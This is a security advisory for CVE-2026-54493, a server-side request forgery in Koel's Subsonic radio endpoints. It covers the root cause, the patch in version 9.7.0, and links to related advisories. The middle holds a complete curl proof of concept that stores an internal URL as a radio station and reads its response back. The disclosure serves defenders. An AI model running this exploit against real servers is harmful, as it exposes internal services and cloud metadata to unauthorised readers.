CVE-2026-54493: Koel Authenticated Full-Read SSRF via Subsonic Radio Endpoints
Koel's Subsonic-compatible radio endpoints skip the URL safety checks that protect the regular API, so an authenticated user can point a radio station at any internal address and read the server's res
The problem
Koel applies `SafeUrl` and `HasAudioContentType` validation to `streamUrl` on the main REST radio API (`RadioStationStoreRequest`, `RadioStationUpdateRequest`), but the equivalent Subsonic routes (`createInternetRadioStation.view` and `updateInternetRadioStation.view`) only require the field to be a non-empty string.
The gap means any authenticated user can persist a private or loopback URL as a radio station without triggering the SSRF guard.
When the station is played, `RadioStreamProxy::openStream()` calls `fopen($url, 'r', ...)` directly on the stored URL and pipes every chunk back to the client with `fread`. This is a full-read SSRF: the attacker receives the upstream response body through `/radio/stream/{id}`, making it suitable for reading internal admin panels, cloud metadata endpoints, or any RFC-1918 service reachable from the Koel container.
Proof of concept
A working proof-of-concept for CVE-2026-54493 in phanan/koel, with the exact payload below.
# Step 1: authenticate and get an API token
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
# Step 2: get the Subsonic API key
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
# Step 3: target an internal URL (e.g. Docker bridge or loopback)
TARGET_URL="http://172.17.0.1:18090/feed.xml"
# Step 4: confirm the regular API blocks it (returns HTTP 422)
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
# Step 5: bypass via the Subsonic endpoint (returns HTTP 200 + {"status":"ok"})
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"
# Step 6: resolve the station ID and stream to read the internal response
STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
# Response body contains the content of $TARGET_URLThe root cause is a validation inconsistency between two code paths that create the same model. The regular API request classes enforce `new SafeUrl()` (which resolves the hostname and rejects RFC-1918 and loopback IPs) and `new HasAudioContentType()`, while the Subsonic request classes only declared `['required', 'string']` for `streamUrl`, so neither check ever ran.
The patch (commit `1331f335`) adds `new SafeUrl()` and `new HasAudioContentType()` to both `CreateInternetRadioStationRequest` and `UpdateInternetRadioStationRequest`, bringing them in line with their REST counterparts. A defense-in-depth change also adds a `isSafeUrl()` pre-flight inside `RadioStreamProxy::openStream()` so a stored malicious URL cannot be fetched even if it somehow bypasses the request validator.
CWE-918 (Server-Side Request Forgery) applies directly: user-supplied input reaches a server-side `fopen()` call without host validation, and the full response is returned to the requester.
The fix
Upgrade to Koel 9.7.0 (commit `1331f335342b405e60ffabdd60f1f398508f996f`, PR #2545). The fix adds `SafeUrl` and `HasAudioContentType` validation to both Subsonic radio request classes and adds an `isSafeUrl()` guard inside `RadioStreamProxy::openStream()` as a second layer.
No workaround short of disabling the Subsonic API entirely is effective on 9.6.0.
Related research
- critical · 9.9CVE-2026-45262CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn
- high · 7.2CVE-2026-55372CVE-2026-55372: NukeViet Pre-auth SSRF via X-Forwarded-Host
- high · 8.3CVE-2026-52769CVE-2026-52769: YesWiki Unauthenticated SSRF via ActivityPub Signature keyId
- highCVE-2026-62944CVE-2026-62944: MantisBT Stored XSS via Attachment Filename in HTML Export